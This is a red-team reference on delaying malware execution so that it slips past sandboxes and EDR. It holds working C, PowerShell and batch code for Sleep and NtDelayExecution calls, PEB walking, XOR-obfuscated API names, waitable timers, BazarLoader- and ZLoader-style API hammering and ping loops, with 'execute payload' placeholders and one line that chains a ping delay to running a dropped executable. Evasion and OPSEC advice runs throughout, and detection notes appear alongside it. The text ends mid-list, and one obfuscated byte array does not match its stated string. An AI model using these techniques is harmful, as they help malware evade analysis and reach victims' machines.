Legend:
[DELAY]= Delay technique |[TIMER]= Timer-based mechanism |[DETECT]= Detection vector |[EVASION]= Bypass technique |[OPSEC]= Operational Security note |[SANDBOX]= Sandbox-specific behavior |[TOOL]= Tool reference |[MITRE]= MITRE ATT&CK reference
1. Why Delay Execution
What it means: Sandboxes and automated malware analysis platforms have a limited analysis window — typically 30 seconds to 3 minutes. If malware does nothing suspicious during that window, it gets a "clean" verdict. Delayed execution burns time before the payload runs so the sandbox gives up and marks it safe.
The core problem sandboxes face:
Automated Analysis Environment:
├─ Submit: evil_loader.exe
├─ Run in sandbox for 2 minutes
├─ Observe behavior
├─ If nothing bad detected → Mark CLEAN
└─ Sample passes into the wild
Malware:
├─ Run
├─ Sleep(300000) ← Wait 5 minutes → sandbox already timed out
├─ Now execute payload
└─ Real machine — no sandbox watching
Why it matters for red teaming:
| Scenario | No Delay | With Delay |
|---|---|---|
| AV gateway sandbox | Payload behavior caught in 30s | 5-min delay → sandbox times out → CLEAN |
| EDR behavioral engine | Shellcode exec seen immediately | Delay + condition check → analyst distracted |
| Memory scanning | Shellcode in RWX memory | Sleep obfuscation → memory encrypted during sleep |
| Incident response | IOCs captured in timeline | Long delay → attacker has time between actions |
| OPSEC / C2 beaconing | Short jitter → EDR spots timing | Randomized jitter → blends with normal traffic |
The two goals of delayed execution:
Goal 1: Sandbox evasion (outlast analysis window)
→ Sleep long enough that the sandbox stops watching
→ Techniques: Sleep, NtDelayExecution, API Hammering, Ping Loop
Goal 2: Memory scan evasion (hide during idle time)
→ Encrypt shellcode in memory during sleep periods
→ EDR periodic scanner sees no malicious bytes
→ Techniques: Ekko, Cronos, Foliage, FOLIAGE (sleep obfuscation)
MITRE ATT&CK mapping:
T1497.003 — Virtualization/Sandbox Evasion: Time Based Checks
T1678 — Delay Execution (added September 2025)
T1053 — Scheduled Task/Job (Task Scheduler delivery)
[SANDBOX] Modern sandboxes counter basic Sleep() by "sleep skipping" — hooking Sleep() to return instantly. This is why advanced techniques verify that real time actually passed (§9).
2. Sleep / SleepEx — Basic Delay
What it means: Sleep() is the simplest and most common delay primitive. It pauses the current thread for a specified number of milliseconds. SleepEx() is the extended version that allows the thread to enter an alertable wait state (enables APC delivery). Both are trivially detected but form the base of more advanced techniques.
2.1 How It Works
Sleep(ms):
Thread suspends → OS scheduler wakes it after ms milliseconds → resumes
SleepEx(ms, bAlertable):
bAlertable=TRUE: thread enters alertable wait → APCs can be delivered
bAlertable=FALSE: same as Sleep()
Sandbox Sleep Skipping:
Cuckoo / ANY.RUN hook kernel32!Sleep → return immediately
Malware calls Sleep(300000) → returns in 1ms → sandbox sees all behavior
Counter: check if real time elapsed after returning from Sleep()
2.2 Simple Sleep Delay (C)
// sleep_delay.c — Basic Sleep-based execution delay
#include <windows.h>
#include <stdio.h>
#define DELAY_MINUTES 5
#define DELAY_MS (DELAY_MINUTES * 60 * 1000) // 5 minutes in ms
int main() {
printf("[*] Starting — sleeping for %d minutes...\n", DELAY_MINUTES);
Sleep(DELAY_MS); // Pause for 5 minutes
// After delay — execute payload
printf("[+] Delay complete — executing payload\n");
// ... shellcode injection / C2 callback ...
return 0;
}
2.3 SleepEx — Alertable Wait (C)
// sleepex_delay.c — SleepEx in alertable mode
// Useful when you need APCs to be deliverable during the wait
#include <windows.h>
#include <stdio.h>
void CALLBACK apc_callback(ULONG_PTR param) {
// This APC fires if queued during the alertable wait
printf("[*] APC callback triggered during sleep\n");
}
int main() {
DWORD sleep_ms = 120000; // 2 minutes
printf("[*] Entering alertable SleepEx for %lu ms\n", sleep_ms);
// bAlertable = TRUE → APCs wake the sleep early if queued
DWORD result = SleepEx(sleep_ms, TRUE);
if (result == WAIT_IO_COMPLETION) {
printf("[*] SleepEx returned early — APC was delivered\n");
} else {
printf("[+] Sleep completed normally\n");
}
// Execute payload
return 0;
}
2.4 Sleep (PowerShell)
# sleep_delay.ps1 — PowerShell sleep before payload
$delaySeconds = 300 # 5 minutes
Write-Host "[*] Sleeping for $delaySeconds seconds..."
# Method 1: Start-Sleep (intercepted by some sandboxes)
Start-Sleep -Seconds $delaySeconds
# Method 2: WScript.Sleep (less common — slightly lower detection)
# $wsh = New-Object -ComObject WScript.Shell
# (New-Object -ComObject WScript.Shell).Run("cmd /c timeout /t $delaySeconds /nobreak > nul", 0, $true)
# Method 3: ping loop (see §8)
# cmd /c ping 127.0.0.1 -n $delaySeconds | Out-Null
Write-Host "[+] Delay complete — executing payload"
# ... payload execution ...
2.5 OPSEC Notes for Sleep / SleepEx
[DETECT] What sandboxes do:
- Hook kernel32!Sleep → return 0 immediately (Cuckoo sleep skipping)
- ANY.RUN: sleeps are intercepted and accelerated
- Cloud sandboxes track all Sleep() calls, accelerate >5s sleeps
[DETECT] What EDRs log:
- Thread in WAIT state for extended period
- Long-sleeping threads with RWX memory regions (high suspicion)
- Sleep() calls in a loader before VirtualAlloc (timing pattern)
[SANDBOX] Detection trigger:
- ANY single call to Sleep() over 5 seconds is suspicious
- Pattern: Sleep(large) → VirtualAlloc → CreateThread
[EVASION] Improve basic Sleep:
- Verify real elapsed time AFTER Sleep() returns (§9)
- Split into many small sleeps with checks between each
- Use NtDelayExecution instead (less commonly hooked)
- Combine with sandbox environment checks before sleeping
- Use sleep obfuscation (Ekko/Cronos — §12, §13) for in-memory implants
3. NtDelayExecution — Native API Delay
What it means: NtDelayExecution is the NT-layer (ntdll.dll) function that Sleep() ultimately calls. By calling it directly, you bypass any user-mode hooks on kernel32!Sleep that sandboxes install. The function takes a negative 100-nanosecond interval in a LARGE_INTEGER structure (Windows native time format).
3.1 How It Works
Call chain for Sleep():
kernel32!Sleep()
↓
ntdll!NtDelayExecution() ← Direct call here bypasses Sleep() hooks
↓
Kernel: KiDelayExecutionThread()
↓
Thread suspended for interval
Time format:
LARGE_INTEGER uses 100-nanosecond intervals, negative = relative time
-10000 = 1 millisecond (10,000 × 100ns = 1ms)
To sleep N seconds: delay = -(N * 10,000,000)
3.2 NtDelayExecution Directly (C)
// ntdelayexec.c — Sleep via NtDelayExecution (bypasses Sleep() hooks)
#include <windows.h>
#include <winternl.h> // LARGE_INTEGER, NTSTATUS
#include <stdio.h>
// Function prototype for NtDelayExecution
typedef NTSTATUS (NTAPI *pNtDelayExecution)(
BOOLEAN Alertable,
PLARGE_INTEGER DelayInterval
);
// Milliseconds → LARGE_INTEGER (100-nanosecond units, negative = relative)
LARGE_INTEGER ms_to_li(DWORD dwMilliseconds) {
LARGE_INTEGER li;
li.QuadPart = -((LONGLONG)dwMilliseconds * 10000LL); // 1ms = 10,000 × 100ns
return li;
}
void nt_sleep(DWORD ms) {
// Dynamically resolve NtDelayExecution from ntdll (no static import)
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return;
pNtDelayExecution NtDelayExecution = (pNtDelayExecution)
GetProcAddress(hNtdll, "NtDelayExecution");
if (!NtDelayExecution) return;
LARGE_INTEGER delay = ms_to_li(ms);
// FALSE = non-alertable (TRUE = alertable, APCs deliverable)
NTSTATUS status = NtDelayExecution(FALSE, &delay);
if (status != 0) {
printf("[-] NtDelayExecution failed: 0x%08X\n", status);
}
}
int main() {
DWORD delay_ms = 300000; // 5 minutes = 300,000 ms
printf("[*] Calling NtDelayExecution for %lu ms (%lu seconds)\n",
delay_ms, delay_ms / 1000);
nt_sleep(delay_ms);
printf("[+] Delay complete\n");
// Execute payload...
return 0;
}
3.3 NtDelayExecution via Dynamic Resolution (No Import)
// ntdelayexec_noimport.c — No imports, resolve via PEB walk
// Harder to detect — function name not in IAT
#include <windows.h>
#include <stdint.h>
// Minimal PEB walk to find ntdll base
HMODULE get_ntdll() {
// PEB → Ldr → InLoadOrderModuleList
// ntdll is always the 2nd entry (after the main exe)
HMODULE hNtdll = NULL;
#if defined(_WIN64)
PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
PLIST_ENTRY head = &pPeb->Ldr->InLoadOrderModuleList;
PLIST_ENTRY curr = head->Flink;
int count = 0;
while (curr != head) {
LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(
curr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (count == 1) { // ntdll.dll is 2nd entry
hNtdll = (HMODULE)entry->DllBase;
break;
}
count++;
curr = curr->Flink;
}
return hNtdll;
}
// XOR-obfuscated function name: "NtDelayExecution" ^ 0x13
// Decode at runtime to avoid string detection
static unsigned char nt_func_enc[] = {
0x5b, 0x77, 0x54, 0x7e, 0x76, 0x6e, 0x53, 0x67,
0x54, 0x76, 0x7e, 0x63, 0x77, 0x76, 0x72, 0x7e
// "NtDelayExecution" XOR 0x13
};
void decode_string(unsigned char* buf, int len) {
for (int i = 0; i < len; i++) buf[i] ^= 0x13;
}
void nt_sleep_hidden(DWORD ms) {
HMODULE hNtdll = get_ntdll();
if (!hNtdll) return;
// Decode function name at runtime
char func_name[17] = {0};
memcpy(func_name, nt_func_enc, 16);
decode_string((unsigned char*)func_name, 16);
typedef NTSTATUS (NTAPI *pNtDelay)(BOOLEAN, PLARGE_INTEGER);
pNtDelay fn = (pNtDelay)GetProcAddress(hNtdll, func_name);
LARGE_INTEGER li;
li.QuadPart = -((LONGLONG)ms * 10000LL);
fn(FALSE, &li);
}
3.4 NtWaitForSingleObject as Delay (C)
// ntwait_delay.c — Use NtWaitForSingleObject on dummy event as sleep
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
void ntwait_sleep(DWORD ms) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtWaitForSingleObject NtWaitForSingleObject =
(pNtWaitForSingleObject)GetProcAddress(hNtdll, "NtWaitForSingleObject");
// Create an event that will NEVER be signaled → wait times out
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL); // manual-reset, not signaled
LARGE_INTEGER timeout;
timeout.QuadPart = -((LONGLONG)ms * 10000LL); // Relative time
// Wait on event until timeout — functionally equivalent to Sleep()
NtWaitForSingleObject(hEvent, FALSE, &timeout);
CloseHandle(hEvent);
}
3.5 OPSEC Notes for NtDelayExecution
[DETECT] Monitoring vectors:
- ETW (Event Tracing for Windows) on ntdll syscall layer
- Kernel callbacks on NtDelayExecution
- Syscall monitoring (via Sysmon Event ID 1, 10)
- Direct import of "NtDelayExecution" in IAT
[EVASION] Improvements:
- Resolve NtDelayExecution via PEB walk (no GetProcAddress)
- XOR-encode the function name string (decode at runtime)
- Use indirect syscalls (Hell's Gate / Halo's Gate) to bypass
user-mode hooks entirely
[OPSEC] Real-world usage:
- Brute Ratel C4 calls NtDelayExecution directly (documented)
- Many advanced loaders prefer NtDelayExecution over Sleep()
- Combining with GetTickCount verification (§9) makes it robust
[SANDBOX] Sandbox behavior:
- Some sandboxes hook NtDelayExecution too — but less commonly
- Cuckoo: hooks Sleep() but may miss direct NtDelayExecution
- ANY.RUN: modern sandbox likely hooks both layers
4. WaitForSingleObject — Handle-Based Delay
What it means: WaitForSingleObject blocks the current thread until a kernel object (event, mutex, semaphore, thread, process, timer) becomes signaled, or until a timeout expires. Using it on an event that never gets signaled effectively acts as a sleep with a timeout. Commonly used because its purpose (waiting for synchronization) looks legitimate and it's harder for sandboxes to skip blindly.
4.1 How It Works
WaitForSingleObject(hObject, dwMilliseconds):
hObject = kernel object handle
dwMilliseconds = timeout in ms (or INFINITE)
Return values:
WAIT_OBJECT_0 (0x0) — object signaled
WAIT_TIMEOUT (0x102) — timeout expired (what we want for a delay!)
WAIT_FAILED (0xFFFFFFFF) — error
Trick for delay:
Create event → Never signal it → Wait with timeout
Thread blocks for dwMilliseconds ms → returns WAIT_TIMEOUT
Functionally identical to Sleep() but different API path
4.2 WaitForSingleObject Delay (C)
// wfso_delay.c — Use WaitForSingleObject as sleep substitute
#include <windows.h>
#include <stdio.h>
void wfso_sleep(DWORD ms) {
// Create an event that is NEVER signaled
HANDLE hEvent = CreateEventA(
NULL, // no security attributes
TRUE, // manual-reset event
FALSE, // initial state: NOT signaled
NULL // unnamed
);
if (!hEvent) return;
// Wait — will block until timeout (event never fires)
DWORD result = WaitForSingleObject(hEvent, ms);
// result == WAIT_TIMEOUT (0x102) means we slept for ms milliseconds
CloseHandle(hEvent);
}
int main() {
printf("[*] Sleeping via WaitForSingleObject for 5 minutes...\n");
wfso_sleep(300000); // 5 minutes
printf("[+] Done\n");
return 0;
}
4.3 WaitForSingleObjectEx — Alertable Delay (C)
// wfsoex_delay.c — WaitForSingleObjectEx with alertable wait
// Lets APCs (Asynchronous Procedure Calls) interrupt the wait
#include <windows.h>
void wfsoex_sleep(DWORD ms) {
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
if (!hEvent) return;
// bAlertable = TRUE → APCs can interrupt this wait
DWORD result = WaitForSingleObjectEx(
hEvent, // Handle
ms, // Timeout in milliseconds
TRUE // bAlertable — allows APCs to fire
);
if (result == WAIT_IO_COMPLETION) {
// An APC was delivered — sleep was interrupted
}
// WAIT_TIMEOUT = normal timeout path
CloseHandle(hEvent);
}
4.4 Wait on Mutex (Alternative)
// mutex_delay.c — Wait on an owned mutex (creates natural wait)
#include <windows.h>
void mutex_sleep(DWORD ms) {
// Create a mutex we immediately own
HANDLE hMutex = CreateMutexA(NULL, TRUE, NULL); // TRUE = initially owned
if (!hMutex) return;
// WaitForSingleObject on an owned mutex times out
// (can't acquire what we already own in the same thread... unless recursive)
// Better pattern: create mutex, DON'T own it, then try to acquire from another thread
// For simple delay: use an event (§4.2)
ReleaseMutex(hMutex);
CloseHandle(hMutex);
}
4.5 OPSEC Notes for WaitForSingleObject
[DETECT] WaitForSingleObject monitoring:
- Sysmon: no direct event for WaitForSingleObject calls
- ETW: NtWaitForSingleObject syscall tracked at kernel level
- Pattern: WFSO called with large timeout + unsignaled event handle
[EVASION] Why WFSO is better than Sleep():
- Not a direct timer function — purpose is synchronization
- Looks like normal synchronization code
- Some sandbox sleep-skip patches only target Sleep/SleepEx
- WaitForSingleObjectEx with bAlertable=TRUE is used in sleep
obfuscation (Ekko, AceLdr) — see §12
[OPSEC] Real-world usage:
- AceLdr (Cobalt Strike loader) uses WaitForSingleObjectEx for sleep
- Delivers "Sleep Without Sleep" — see §4.3 + §12
5. NtWaitForSingleObject — NT Layer Wait
What it means: The NT-layer equivalent of WaitForSingleObject. Sits one level below kernel32!WaitForSingleObject in the call chain. Direct use bypasses any hooks placed on the kernel32 wrapper. Used by advanced C2 implants and sleep-obfuscation tools.
5.1 NtWaitForSingleObject (C)
// ntwfso.c — NtWaitForSingleObject direct call
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout // NULL = wait forever, negative = relative time
);
void nt_wfso_sleep(DWORD ms) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtWaitForSingleObject fn = (pNtWaitForSingleObject)
GetProcAddress(hNtdll, "NtWaitForSingleObject");
if (!fn) return;
// Create unsignaled event
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
// Negative value = relative timeout in 100-nanosecond units
LARGE_INTEGER timeout;
timeout.QuadPart = -((LONGLONG)ms * 10000LL);
// Wait — will timeout after ms milliseconds
fn(hEvent, FALSE, &timeout);
CloseHandle(hEvent);
}
5.2 Indirect Syscall Sleep (Advanced)
// indirect_syscall_sleep.c — Sleep via raw syscall (bypass user-mode hooks)
// Uses Halo's Gate / Hell's Gate technique to find syscall number dynamically
// This bypasses ALL user-mode hooks on ntdll
// Step 1: Get syscall number for NtDelayExecution from ntdll
// (normally starts with: 0x4C 0x8B 0xD1 0xB8 XX 00 00 00 for 64-bit)
DWORD get_syscall_number(const char* func_name) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* fn = (BYTE*)GetProcAddress(hNtdll, func_name);
// mov eax, <syscall_number> is at offset 4 in clean ntdll stub:
// 4C 8B D1 mov r10, rcx
// B8 XX 00 00 00 mov eax, <id>
if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8) {
return *(DWORD*)(fn + 4); // Extract syscall ID
}
// If hooked (JMP at start), walk neighbors to find clean syscall ID
// (Halo's Gate: walk forward/backward looking for clean stub)
return 0;
}
// Then use inline assembly to perform the syscall directly:
// mov r10, rcx
// mov eax, syscall_id
// syscall
6. Waitable Timers — SetWaitableTimer / CreateTimerQueueTimer
What it means: Waitable timer objects are kernel objects that fire after a specified time. Unlike simple sleep, they integrate with the Windows APC and thread scheduling system in a more complex way. They're the foundation of advanced sleep-obfuscation techniques (Ekko, Cronos).
6.1 SetWaitableTimer Delay (C)
// waitable_timer.c — Sleep via SetWaitableTimer + WaitForSingleObject
// Different code path from Sleep() — fewer hooks
#include <windows.h>
#include <stdio.h>
void timer_sleep(DWORD ms) {
// Create a waitable timer
HANDLE hTimer = CreateWaitableTimerA(
NULL, // no security attributes
TRUE, // manual-reset (use FALSE for auto-reset)
NULL // unnamed
);
if (!hTimer) return;
// Convert ms to 100-nanosecond intervals (negative = relative)
LARGE_INTEGER dueTime;
dueTime.QuadPart = -((LONGLONG)ms * 10000LL);
// Set the timer — fires after dueTime elapses
BOOL ok = SetWaitableTimer(
hTimer, // Timer handle
&dueTime, // Due time (negative = relative from now)
0, // Period: 0 = one-shot (not repeating)
NULL, // No APC completion routine
NULL, // No APC parameter
FALSE // Don't restore system from power-save
);
if (!ok) {
CloseHandle(hTimer);
return;
}
// Wait for timer to fire
WaitForSingleObject(hTimer, INFINITE);
CloseHandle(hTimer);
}
int main() {
printf("[*] Timer sleep — 5 minutes...\n");
timer_sleep(300000); // 5 minutes
printf("[+] Timer fired — continuing\n");
// Execute payload
return 0;
}
6.2 CreateTimerQueueTimer (Foundation of Ekko)
// timer_queue.c — CreateTimerQueueTimer: basis of Ekko sleep obfuscation
// This is what Ekko uses to queue ROP chain callbacks
#include <windows.h>
#include <stdio.h>
HANDLE g_hDone = NULL; // Event to signal when delay completes
// Callback fires after timer expires
VOID CALLBACK timer_callback(PVOID param, BOOLEAN timerFired) {
printf("[*] Timer callback fired!\n");
SetEvent(g_hDone); // Signal main thread to continue
}
void timer_queue_sleep(DWORD ms) {
// Create a timer queue
HANDLE hTimerQueue = CreateTimerQueue();
if (!hTimerQueue) return;
// Event to wait on
g_hDone = CreateEventA(NULL, TRUE, FALSE, NULL);
HANDLE hTimer = NULL;
// Queue a one-shot timer — callback fires after ms milliseconds
CreateTimerQueueTimer(
&hTimer, // [out] timer handle
hTimerQueue, // timer queue
timer_callback, // callback function
NULL, // callback parameter
ms, // due time (ms from now)
0, // period: 0 = one-shot
WT_EXECUTEINTIMERTHREAD // execute in timer thread
);
// Wait until callback fires
WaitForSingleObject(g_hDone, INFINITE);
// Cleanup
DeleteTimerQueueEx(hTimerQueue, NULL);
CloseHandle(g_hDone);
}
int main() {
printf("[*] CreateTimerQueueTimer sleep — 10 seconds...\n");
timer_queue_sleep(10000); // 10 seconds
printf("[+] Done\n");
return 0;
}
6.3 OPSEC Notes for Waitable Timers
[OPSEC] Advantages over Sleep():
- Different API path — fewer sandbox hooks
- SetWaitableTimer is not directly in Cuckoo's sleep-skip target list
- CreateTimerQueueTimer: the foundation of Ekko sleep obfuscation
[DETECT] Detection vectors:
- WithSecure research: CreateTimerQueueTimer used with ROP triggers
detection from timer-queue timer forensics (see §12)
- Sysmon: no native event for timer API calls
- Hunt-Sleeping-Beacons: can detect timer-queue artifacts in memory
[EVASION] Combined approach (used by Cronos):
- SetWaitableTimer + APC completion routine
- When timer fires → APC executes → decrypts and resumes implant
- Timer handles hidden via indirect syscalls
7. API Hammering — CPU-Bound Fake Work
What it means: Instead of sleeping, the malware calls a series of benign Windows API functions in a loop — thousands or millions of times. Each call has a small overhead that cumulatively burns wall-clock time. Because the calls are real Windows API operations, they can't be "accelerated" by hooking Sleep(). Used by BazarLoader and ZLoader.
7.1 How It Works
Sleep skipping attack:
Sandbox hooks Sleep() → returns instantly → analyzes all behavior
API Hammering defense:
Call VirtualAlloc() 500,000 times → each call costs ~0.01ms
Total: 500,000 × 0.01ms = 5,000ms (5 seconds of real time)
Sandbox can't skip CPU time — has to execute all calls
BazarLoader implementation:
→ Loop with random count (varies per machine, harder to detect)
→ Reads random registry keys in each iteration
→ Sandbox is flooded with junk data + real time consumed
ZLoader implementation:
→ 4 large functions each calling multiple APIs
→ APIs called: VirtualAlloc, VirtualFree, RegOpenKeyEx, etc.
→ Total delay: several minutes before payload injection
7.2 VirtualAlloc/Free Hammering (C)
// api_hammer_valloc.c — Delay via VirtualAlloc/Free loop
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
// Returns elapsed milliseconds
DWORD get_ms() {
return GetTickCount();
}
void api_hammer_valloc(DWORD target_ms) {
// Burn CPU time by calling VirtualAlloc + VirtualFree repeatedly
// Each alloc/free pair ≈ 0.001–0.01 ms depending on size
DWORD start = get_ms();
DWORD elapsed = 0;
printf("[*] API hammering (VirtualAlloc loop) for ~%lu ms...\n", target_ms);
while (elapsed < target_ms) {
// Allocate a random-sized chunk
SIZE_T size = (rand() % 0x10000) + 0x1000; // 4KB–68KB
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (mem) {
// Write some dummy data (increases time cost per iteration)
memset(mem, 0x41, size);
VirtualFree(mem, 0, MEM_RELEASE);
}
elapsed = get_ms() - start;
}
printf("[+] Hammering complete — elapsed: %lu ms\n", elapsed);
}
int main() {
srand((unsigned)time(NULL));
// Hammer for 5 minutes (300,000 ms)
api_hammer_valloc(300000);
// Execute payload
return 0;
}
7.3 Registry Key Hammering (BazarLoader Style)
// api_hammer_registry.c — Delay via registry read loop (BazarLoader-style)
#include <windows.h>
#include <stdio.h>
// Registry keys to hammer (random subset each run)
const char* reg_keys[] = {
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"SYSTEM\\CurrentControlSet\\Control\\Session Manager",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",
"SYSTEM\\CurrentControlSet\\Services",
"SOFTWARE\\Classes",
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32",
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders",
NULL
};
void api_hammer_registry(DWORD target_ms) {
DWORD start = GetTickCount();
DWORD elapsed = 0;
// Random iteration count (varies per machine → harder to detect fixed loop)
DWORD base_iters = 500000;
DWORD variance = rand() % 200000;
DWORD total_iters = base_iters + variance;
printf("[*] Registry hammering — %lu iterations\n", total_iters);
for (DWORD i = 0; i < total_iters; i++) {
// Pick a random registry key
int idx = rand() % 8;
HKEY hKey = NULL;
LONG result = RegOpenKeyExA(
HKEY_LOCAL_MACHINE,
reg_keys[idx],
0,
KEY_READ,
&hKey
);
if (result == ERROR_SUCCESS && hKey) {
// Read a value from the key (adds more overhead)
char value[256];
DWORD val_size = sizeof(value);
DWORD val_type;
RegQueryValueExA(hKey, NULL, NULL, &val_type,
(LPBYTE)value, &val_size);
RegCloseKey(hKey);
}
// Check if target time has elapsed
if (i % 10000 == 0) {
elapsed = GetTickCount() - start;
if (elapsed >= target_ms) break;
}
}
printf("[+] Registry hammering done — elapsed: %lu ms\n",
GetTickCount() - start);
}
7.4 Multi-API Hammering (ZLoader Style)
// api_hammer_multi.c — Multi-API hammering for maximum stealth
#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "advapi32.lib")
// Phase 1: Crypto operations (looks like initialization)
void hammer_crypto(DWORD iters) {
for (DWORD i = 0; i < iters; i++) {
HCRYPTPROV hProv = 0;
CryptAcquireContextA(&hProv, NULL, NULL,
PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
if (hProv) {
BYTE rand_buf[32];
CryptGenRandom(hProv, sizeof(rand_buf), rand_buf);
CryptReleaseContext(hProv, 0);
}
}
}
// Phase 2: File system operations (looks like temp file work)
void hammer_filesystem(DWORD iters) {
char temp_path[MAX_PATH];
GetTempPathA(MAX_PATH, temp_path);
for (DWORD i = 0; i < iters; i++) {
char fname[MAX_PATH];
snprintf(fname, sizeof(fname), "%stmp%08X.tmp", temp_path, i);
HANDLE hFile = CreateFileA(fname,
GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,
NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD written;
WriteFile(hFile, "x", 1, &written, NULL);
CloseHandle(hFile);
}
}
}
// Phase 3: Network resolution (looks like DNS pre-fetch)
void hammer_dns(DWORD iters) {
// Note: only use in environments where DNS lookups are expected
const char* hosts[] = {
"www.microsoft.com", "windowsupdate.com",
"ctldl.windowsupdate.com", "www.msftconnecttest.com"
};
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
for (DWORD i = 0; i < iters; i++) {
struct addrinfo* result = NULL;
getaddrinfo(hosts[i % 4], "80", NULL, &result);
if (result) freeaddrinfo(result);
}
WSACleanup();
}
void hammer_multi_phase(DWORD target_ms) {
// Spread work across phases so it looks like normal initialization
DWORD third = target_ms / 3;
DWORD start = GetTickCount();
// Phase 1: ~1/3 of total delay
hammer_crypto(50000);
// Phase 2: ~1/3
hammer_filesystem(10000);
// Phase 3: ~1/3
hammer_dns(100);
// Top up with VirtualAlloc if needed
DWORD elapsed = GetTickCount() - start;
if (elapsed < target_ms) {
DWORD remaining = target_ms - elapsed;
LPVOID mem;
while (GetTickCount() - start < target_ms) {
mem = VirtualAlloc(NULL, 0x10000, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (mem) VirtualFree(mem, 0, MEM_RELEASE);
}
}
}
7.5 OPSEC Notes for API Hammering
[DETECT] API Hammering signatures:
- Huge loop count visible in disassembly
- Thousands of identical API calls in behavioral logs
- VirtualAlloc/Free with no follow-up usage
- RegOpenKeyEx in tight loop with no logical purpose
- Palo Alto WildFire: detects API hammering patterns (published research)
[SANDBOX] Sandbox behavior:
- Cannot fast-forward CPU-bound work
- May timeout before loop completes → payload never runs
- Modern sandboxes: detect hammering loops as suspicious
[EVASION] Improvement strategies:
- Use random iteration count (varies per machine — BazarLoader trick)
- Use random keys / values each iteration
- Mix API types (crypto + registry + file + network)
- Check environment conditions DURING the loop (CPU/RAM checks)
- Keep individual API calls varied — identical calls look like hammering
[OPSEC] Tool note:
- ApexLdr (DLL sideloading loader) uses API Hammering for execution delay
- PolyEngine PE packer supports --hammer flag for API-hammer delay
8. Ping Loop Delay — Living Off the Land
What it means: Use the ping command's built-in delay to stall execution. Each ping packet is sent and waits for a reply — the -n flag specifies how many packets to send. Sending 60 pings to 8.8.8.8 (with 1 second between each) = ~60 seconds of delay. This is a legitimate system binary (LOLBIN), so it's less suspicious than a custom delay loop. Used by Mustang Panda APT group.
8.1 Ping Loop Delay (Batch / CMD)
:: ping_delay.bat — Ping-based delay (Mustang Panda technique)
:: Each ping to a responding host adds ~1 second
:: -n 300 = ~5 minutes delay
cmd /c ping 8.8.8.8 -n 300 > nul && "%temp%\payload.exe"
:: Alternative: ping localhost (no network needed, still delays)
cmd /c ping 127.0.0.1 -n 300 > nul
:: Alternative: unreachable IP (request timeout adds ~1 second each)
:: Use any IP that won't respond (timeout = 1 second per hop)
cmd /c ping 10.254.254.254 -n 300 -w 1000 > nul
8.2 Ping Loop from PowerShell
# ping_delay.ps1 — PowerShell ping delay
$count = 300 # Each = ~1 second → 300 = ~5 minutes
# Method 1: Direct ping (output suppressed)
$null = & ping 8.8.8.8 -n $count
# Method 2: Via cmd.exe (blend with normal process tree)
$args = "/c ping 8.8.8.8 -n $count > nul"
Start-Process -FilePath "cmd.exe" -ArgumentList $args -Wait -WindowStyle Hidden
# Method 3: ICMP via .NET (pure PowerShell, no child process)
$ping = New-Object System.Net.NetworkInformation.Ping
for ($i = 0; $i -lt $count; $i++) {
try { $ping.Send("8.8.8.8", 1000) | Out-Null } catch {}
}
$ping.Dispose()
Write-Host "[+] Delay complete"
8.3 Ping Loop via CreateProcess (C)
// ping_delay_c.c — Launch ping as child process for delay
#include <windows.h>
#include <stdio.h>
void ping_delay(int count, const char* target) {
// Build: ping <target> -n <count>
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping %s -n %d > nul", target, count);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// CREATE_NO_WINDOW: no console window visible to user
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
BOOL ok = CreateProcessA(
NULL, // use lpCommandLine
cmd, // full command: "ping 8.8.8.8 -n 300 > nul"
NULL, NULL,
FALSE,
CREATE_NO_WINDOW, // silent process
NULL, NULL,
&si, &pi
);
if (ok) {
// Wait for ping to finish
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
int main() {
printf("[*] Ping delay — ~5 minutes (300 pings to 8.8.8.8)\n");
ping_delay(300, "8.8.8.8");
printf("[+] Done\n");
// Execute payload
return 0;
}
8.4 OPSEC Notes for Ping Loop
[DETECT] Ping loop signatures:
- MITRE ATT&CK: T1678 — suspicious ping -n loops documented
- Mustang Panda pattern: cmd /c ping 8.8.8.8 -n 70&&<executable>
- Sysmon: Event ID 1 — process creation of ping.exe with -n flag
- YARA: pattern matching on "ping" + large -n value
- Alert: cmd.exe spawned with ping && executable pattern
[EVASION] Improve ping loop:
- Use 127.0.0.1 (localhost) — no external network dependency
